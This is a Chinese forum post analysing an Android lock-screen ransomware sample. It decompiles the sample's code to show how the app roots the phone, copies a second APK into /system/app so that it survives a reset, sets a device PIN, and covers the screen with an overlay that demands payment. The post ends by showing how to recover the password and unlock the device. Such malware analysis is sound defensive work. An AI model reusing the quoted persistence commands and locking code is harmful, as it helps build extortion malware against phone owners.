唔..刚才逛了下悬赏区。看到又是一个被锁屏的孩子,下了个样本,本以为只有简单String+String,没想到看起来还是很高大上的..
我是第一次分析这个...别喷我。。
报告名称: 对一个"刷机无效"的坑爹锁屏APP的分析
作者: Hoimk
报告更新日期: 2016.6.12
样本发现日期: 未知
可能受到威胁的系统: Android
先放第一个Activity的图出来压压惊
准备工具:
JEB一个;
虚拟机一个
分析:
这个APP分为两层,我们先来看看第一层:
把软件拖到JEB里,出来是这样子滴。
唔,这个备注是我自己写的,变量名方法名是自己改的;
我们先看到Manifest,找到启动类
<activity android:label="@string/app_name" android:name=".c">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
android:name=".c" 这个c就是我改成main的那个。
好,那再看看OnCreate方法,这个方法就是在窗口被打开的时候调用的:
其实没什么好看的,主要就两句:
v0.b.setOnClickListener(new ButtonClickListener(v0));
v4.d(new StringBuffer().append(v0.path).append("/zihao.l").toString());
第一句是给那个"点击打开悬浮窗"的按钮设置按钮事件,按钮事件是啥呢?看到最前面那张JEB的图了没?事件就是那个onClick方法,咱来看看
public void onClick(View arg8) {
new cmd().rootShell(); // 获取Root权限
file.deleteFile(main.this.file);
}
这个rootShell其实不只获取root权限..
void rootShell() {
cmd.execCommand(new String[]{"mount -o rw,remount /system", "mount -o rw,remount /system/app",
"cp /sdcard/zihao.l /system/app/", "chmod 777 /system/app/zihao.l", "mv /system/app/zihao.l /system/app/zihao.apk",
"chmod 644 /system/app/zihao.apk", "reboot"}, true);
}
就是执行这几条命令,啥意思? 大概就是把/sdcard/zihao.l这个文件当成一个APK安装到系统分区里,最后reboot就是重启,当然,他在期间申请了所需要的权限;
然后就是关于这个zihao.l怎么来的?这时候就要回到第二句了,我们看看这个d方法
这几句就是无限循环的读,读到没得读为止,边读边写,读谁?读自身存储路劲下的ijm-x86.so,然后写出到arg13这个路径,就是在前面传进来的那个路径:
v0.path在构造器中已经声明了是取SD卡根路径;
到这,第一层就结束了,手机开始重启,重启之后就会听到一首十分动听的歌曲。。。然后你也发现屏幕已经被锁住了...重点是...TM的竟然没有输入框,没有输入框!!!给了你一个付款二维码扫描,噢草,这TM就尴尬了。用ADB干掉他,这歌我NM听着就烦;
来,看看第二层这个APK;
<activity android:label="@string/app_name" android:name=".M">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
" android:name=".M" 嗯..先看看这个
意思就是启动MyAdmin这个receiver,
主要就是把锁屏的pin码设置为1997,然后又启动了s这个服务,那来看看这个s把;
好乱啊..全部无视直接看onCreate和onStart
看看作者这手法,这套路,v3 v0 v4无限切换,然而说到底都只是同一个对象而已...
v3.editor.putString("passw", v0.des.encrypt(new StringBuffer().append("").append(v0. // 加密passw 写进passw属性 key=xxx(图上写错了..忘记改回来)
passw).toString()));
分析一下这里,其实很简单,只是把passw用des加密然后写进数据文件里而已,deskey为xxx
按理说这个passw是个随机值啊,作者要怎么知道密码 QAQ... 不管了,继续把
你们有没有发现少了点啥...没错,解锁屏的在哪?!!! 全TM是套路..
再看onStart
public void onStart(Intent arg8, int arg9) {
super.onStart(arg8, arg9);
this.c();
}
看c方法
private void c() {
s v0 = this;
v0.wmParams = new WindowManager$LayoutParams();
Application v6 = v0.getApplication();
v0.getApplication();
v0.mWindowManager = v6.getSystemService(Context.WINDOW_SERVICE);
v0.wmParams.type = 2010;
v0.wmParams.format = 1;
v0.wmParams.flags = 1280;
v0.wmParams.gravity = 49;
v0.wmParams.x = 0;
v0.wmParams.y = 0;
v0.wmParams.width = -1;
v0.wmParams.height = -1;
v0.mFloatLayout = LayoutInflater.from(v0.getApplication()).inflate(2130903041, null);
MediaPlayer v2 = MediaPlayer.create(v0, 2131099648);
v2.setLooping(true);
v2.start();
v0.mWindowManager.addView(v0.mFloatLayout, v0.wmParams);
v0.bt = v0.mFloatLayout.findViewById(2131361794);
v0.ed = v0.mFloatLayout.findViewById(2131361792);
v0.tv = v0.mFloatLayout.findViewById(2131361793);
s v5 = v0;
try {
v5.ed.setHint("宝贝在这输入密码!");
v0.tv.append("恭喜中奖");
}
catch(Exception v5_1) {
}
v0.bt.setOnClickListener(new 100000001(v0));
v5 = v0;
try {
v5.tv.append(new StringBuffer().append(new StringBuffer().append("\n").append(v0.des.decrypt(
"e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c")).toString()).append(v0.share
.getLong("m", ((long)0))).toString());
}
catch(Exception v5_1) {
}
}
别的不用看看这个按钮事件:
v0.bt.setOnClickListener(new 100000001(v0));
if(!v4.this$0.ed.getText().toString().equals(v0.this$0.des.decrypt(v0.this$0.share.getString(
"passw", "")))) {
return;
} //判断ed中的内容加密后和保存的passw值是否一致
v0.this$0.mWindowManager.removeView(v0.this$0.mFloatLayout); //移除Activity
v0.this$0.stopSelf();
呵呵呵呵呵呵呵,看到这里就明白了把,根本没啥扫码自己解锁;至于这个输入密码的框框和按钮在哪呢....咱来找找
<EditText android:ems="10" android:id="@id/ed" android:layout_height="4.0dip" android:layout_marginEnd="5.0dip" android:layout_width="5.0dip" />
<Button android:background="@drawable/image_1" android:id="@id/bt" android:layout_height="200.0dip" android:layout_width="200.0dip" android:shadowColor="#ff000000" android:shadowRadius="2.0" android:textColor="#ff000000" />
嗯..那个二维码就是一个按钮,然后这个编辑框好坑爹啊...
看到红框那里有个小点没有....就在那里输入密码,然后点这个二维码就可以了.......最后锁屏pin码是1997
然后至于作者怎么知道随机密码的问题...我表示不清除,我用ADB把SharedPreferences文件拷了出来,值是0a842e9ccc030aa2,然后key是xxx,解密出来结果是50932,成功解锁...
至于双清为什么无效,因为他把APP安装到了System分区,双清或者覆盖刷机是没法干掉他的,要完全清除System分区再重新刷才可以不知道是不是哪里错了,有的话求大牛带飞。
最后..完。
样本见原帖。
--官方论坛
www.52pojie.cn
--推荐给朋友
公众微信号:吾爱破解论坛
或搜微信号:pojie_52